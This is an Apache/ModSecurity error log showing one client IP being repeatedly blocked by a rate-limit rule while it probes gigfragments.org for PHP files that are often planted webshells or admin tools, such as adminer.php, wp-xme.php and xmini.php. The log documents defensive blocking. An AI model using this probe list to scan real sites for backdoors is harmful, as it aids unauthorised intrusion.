[Mon Apr 20 01:58:59.545071 2026] [:error] [pid 15694:tid 15746] [client 72.146.9.108:24459] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeUX47imB-jol1fwqAoqOQAAAZQ"]
[Mon Apr 20 01:59:00.071493 2026] [:error] [pid 47772:tid 47805] [client 72.146.9.108:24181] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeUX5Ic0L16cb4smAz8KoQAAABA"]
[Mon Apr 20 01:59:00.654397 2026] [:error] [pid 15694:tid 15723] [client 72.146.9.108:24474] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeUX5LimB-jol1fwqAoqOgAAAYA"]
[Mon Apr 20 01:59:01.189231 2026] [:error] [pid 15760:tid 15784] [client 72.146.9.108:24123] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeUX5fSdD_XHQMJ_ISuv9wAAAdA"]
[Mon Apr 20 01:59:01.683219 2026] [:error] [pid 15765:tid 15869] [client 72.146.9.108:23887] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeUX5fRqinw-W5EwQ74dzQAAApA"]
[Mon Apr 20 01:59:02.285809 2026] [:error] [pid 47772:tid 47810] [client 72.146.9.108:23917] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeUX5oc0L16cb4smAz8KpQAAABU"]
[Mon Apr 20 01:59:02.759967 2026] [:error] [pid 15760:tid 15786] [client 72.146.9.108:23656] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeUX5vSdD_XHQMJ_ISuv-QAAAdI"]
[Mon Apr 20 01:59:03.262639 2026] [:error] [pid 15760:tid 15787] [client 72.146.9.108:23814] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeUX5_SdD_XHQMJ_ISuv-wAAAdM"]
[Mon Apr 20 01:59:03.735671 2026] [:error] [pid 15763:tid 15814] [client 72.146.9.108:23557] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeUX57MXv1Y1THOoxaA56wAAAhI"]
[Mon Apr 20 01:59:04.268564 2026] [:error] [pid 15765:tid 15853] [client 72.146.9.108:24182] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeUX6PRqinw-W5EwQ74dzwAAAoE"]
[Mon Apr 20 01:59:04.739926 2026] [:error] [pid 15765:tid 15859] [client 72.146.9.108:23875] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeUX6PRqinw-W5EwQ74d0AAAAoY"]
[Mon Apr 20 01:59:05.219705 2026] [:error] [pid 15760:tid 15782] [client 72.146.9.108:24550] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeUX6fSdD_XHQMJ_ISuv_QAAAc4"]
[Mon Apr 20 01:59:05.724851 2026] [:error] [pid 47772:tid 47809] [client 72.146.9.108:24091] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeUX6Yc0L16cb4smAz8KqQAAABQ"]
[Mon Apr 20 01:59:06.211635 2026] [:error] [pid 47775:tid 47853] [client 72.146.9.108:24570] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeUX6rmztjlk9tsmoexEgwAAAIo"]
[Mon Apr 20 01:59:06.704054 2026] [:error] [pid 15760:tid 15777] [client 72.146.9.108:23825] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeUX6vSdD_XHQMJ_ISuwAAAAAck"]
[Mon Apr 20 01:59:07.200371 2026] [:error] [pid 15694:tid 15734] [client 72.146.9.108:24465] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeUX67imB-jol1fwqAoqPgAAAYg"]
[Mon Apr 20 01:59:07.959670 2026] [:error] [pid 15764:tid 15839] [client 72.146.9.108:23648] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeUX62LL_sqdSHoVp-R3XAAAAk0"]
[Mon Apr 20 01:59:08.514744 2026] [:error] [pid 15694:tid 15730] [client 72.146.9.108:24501] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeUX7LimB-jol1fwqAoqQAAAAYQ"]
[Mon Apr 20 01:59:08.993954 2026] [:error] [pid 15694:tid 15747] [client 72.146.9.108:24072] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeUX7LimB-jol1fwqAoqQwAAAZU"]
[Mon Apr 20 01:59:09.480574 2026] [:error] [pid 15694:tid 15725] [client 72.146.9.108:23905] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeUX7bimB-jol1fwqAoqRgAAAYI"]
[Mon Apr 20 01:59:09.968750 2026] [:error] [pid 15694:tid 15726] [client 72.146.9.108:22856] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeUX7bimB-jol1fwqAoqSAAAAYM"]
[Mon Apr 20 01:59:10.479301 2026] [:error] [pid 15764:tid 15827] [client 72.146.9.108:24925] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeUX7mLL_sqdSHoVp-R3XQAAAkE"]
[Mon Apr 20 01:59:10.959793 2026] [:error] [pid 47772:tid 47789] [client 72.146.9.108:24553] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeUX7oc0L16cb4smAz8KrAAAAAA"]
[Mon Apr 20 01:59:11.471724 2026] [:error] [pid 47772:tid 47791] [client 72.146.9.108:24954] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeUX74c0L16cb4smAz8KrQAAAAI"]
[Mon Apr 20 01:59:11.945308 2026] [:error] [pid 15765:tid 15870] [client 72.146.9.108:24547] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeUX7_Rqinw-W5EwQ74d1QAAApE"]
[Mon Apr 20 01:59:12.444448 2026] [:error] [pid 47773:tid 47835] [client 72.146.9.108:24842] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmini.php"] [unique_id "aeUX8OiBHdnCJDuPq9B2xAAAAFM"]
[Mon Apr 20 01:59:12.915087 2026] [:error] [pid 47775:tid 47847] [client 72.146.9.108:24163] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeUX8Lmztjlk9tsmoexEhAAAAIQ"]
[Mon Apr 20 01:59:13.404988 2026] [:error] [pid 15765:tid 15855] [client 72.146.9.108:23924] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeUX8fRqinw-W5EwQ74d1wAAAoI"]
[Mon Apr 20 01:59:13.991304 2026] [:error] [pid 47886:tid 47902] [client 72.146.9.108:23907] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeUX8USe8yiyuPrD7yOdrgAAAM4"]
[Mon Apr 20 01:59:14.484994 2026] [:error] [pid 15693:tid 15716] [client 72.146.9.108:24468] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2468.php"] [unique_id "aeUX8sNMD-ccazQlTslyKgAAAVQ"]
[Mon Apr 20 01:59:14.962192 2026] [:error] [pid 47773:tid 47830] [client 72.146.9.108:24529] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeUX8uiBHdnCJDuPq9B2xgAAAE4"]
[Mon Apr 20 01:59:15.437304 2026] [:error] [pid 15764:tid 15837] [client 72.146.9.108:24119] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeUX82LL_sqdSHoVp-R3XwAAAks"]
[Mon Apr 20 01:59:15.926339 2026] [:error] [pid 15694:tid 15723] [client 72.146.9.108:24562] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeUX87imB-jol1fwqAoqUQAAAYA"]
[Mon Apr 20 01:59:16.406605 2026] [:error] [pid 47773:tid 47829] [client 72.146.9.108:24847] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aeUX9OiBHdnCJDuPq9B2yAAAAE0"]
[Mon Apr 20 01:59:16.888806 2026] [:error] [pid 47773:tid 47828] [client 72.146.9.108:24158] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeUX9OiBHdnCJDuPq9B2ygAAAEw"]
[Mon Apr 20 01:59:17.381845 2026] [:error] [pid 15765:tid 15876] [client 72.146.9.108:24464] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeUX9fRqinw-W5EwQ74d2QAAApc"]
[Mon Apr 20 01:59:17.889170 2026] [:error] [pid 15694:tid 15733] [client 72.146.9.108:24103] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeUX9bimB-jol1fwqAoqUwAAAYc"]
[Mon Apr 20 01:59:18.367828 2026] [:error] [pid 47773:tid 47840] [client 72.146.9.108:23910] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeUX9uiBHdnCJDuPq9B2ywAAAFg"]
[Mon Apr 20 01:59:18.878800 2026] [:error] [pid 15765:tid 15875] [client 72.146.9.108:24894] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeUX9vRqinw-W5EwQ74d2wAAApY"]
[Mon Apr 20 01:59:19.489421 2026] [:error] [pid 15694:tid 15748] [client 72.146.9.108:24094] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeUX97imB-jol1fwqAoqVQAAAZY"]
[Mon Apr 20 01:59:19.965794 2026] [:error] [pid 47886:tid 47898] [client 72.146.9.108:24495] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeUX90Se8yiyuPrD7yOdsgAAAMo"]
[Mon Apr 20 01:59:20.500341 2026] [:error] [pid 47773:tid 47833] [client 72.146.9.108:23640] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amdin.php"] [unique_id "aeUX-OiBHdnCJDuPq9B2zwAAAFE"]
[Mon Apr 20 01:59:20.998810 2026] [:error] [pid 47772:tid 47790] [client 72.146.9.108:23817] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeUX-Ic0L16cb4smAz8KsgAAAAE"]
[Mon Apr 20 01:59:21.464210 2026] [:error] [pid 15764:tid 15833] [client 72.146.9.108:24502] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeUX-WLL_sqdSHoVp-R3ZAAAAkc"]
[Mon Apr 20 01:59:22.020148 2026] [:error] [pid 15694:tid 15741] [client 72.146.9.108:23810] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeUX-rimB-jol1fwqAoqWwAAAY8"]
[Mon Apr 20 01:59:22.621271 2026] [:error] [pid 15764:tid 15843] [client 72.146.9.108:24467] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/huya.php"] [unique_id "aeUX-mLL_sqdSHoVp-R3ZgAAAlE"]
[Mon Apr 20 01:59:23.269562 2026] [:error] [pid 15764:tid 15827] [client 72.146.9.108:24516] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeUX-2LL_sqdSHoVp-R3aQAAAkE"]
[Mon Apr 20 01:59:24.118881 2026] [:error] [pid 15760:tid 15775] [client 72.146.9.108:24844] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeUX_PSdD_XHQMJ_ISuwAgAAAcc"]
[Mon Apr 20 01:59:25.073215 2026] [:error] [pid 15764:tid 15848] [client 72.146.9.108:23846] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeUX_WLL_sqdSHoVp-R3bQAAAlY"]
[Mon Apr 20 01:59:26.058671 2026] [:error] [pid 47775:tid 47867] [client 72.146.9.108:23414] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/puc.php"] [unique_id "aeUX_rmztjlk9tsmoexEiAAAAJg"]
[Mon Apr 20 01:59:27.012481 2026] [:error] [pid 15764:tid 15829] [client 72.146.9.108:23904] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeUX_2LL_sqdSHoVp-R3bwAAAkM"]
[Mon Apr 20 01:59:27.647986 2026] [:error] [pid 47886:tid 47896] [client 72.146.9.108:24494] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeUX_0Se8yiyuPrD7yOdswAAAMg"]
[Mon Apr 20 01:59:28.263138 2026] [:error] [pid 47773:tid 47832] [client 72.146.9.108:23631] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeUYAOiBHdnCJDuPq9B20AAAAFA"]
[Mon Apr 20 01:59:28.965442 2026] [:error] [pid 47886:tid 47892] [client 72.146.9.108:24525] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aeUYAESe8yiyuPrD7yOdtQAAAMQ"]
[Mon Apr 20 01:59:29.966804 2026] [:error] [pid 47886:tid 47902] [client 72.146.9.108:24140] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeUYAUSe8yiyuPrD7yOduQAAAM4"]
[Mon Apr 20 01:59:30.656771 2026] [:error] [pid 47775:tid 47852] [client 72.146.9.108:24519] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewp.php"] [unique_id "aeUYArmztjlk9tsmoexEjQAAAIk"]
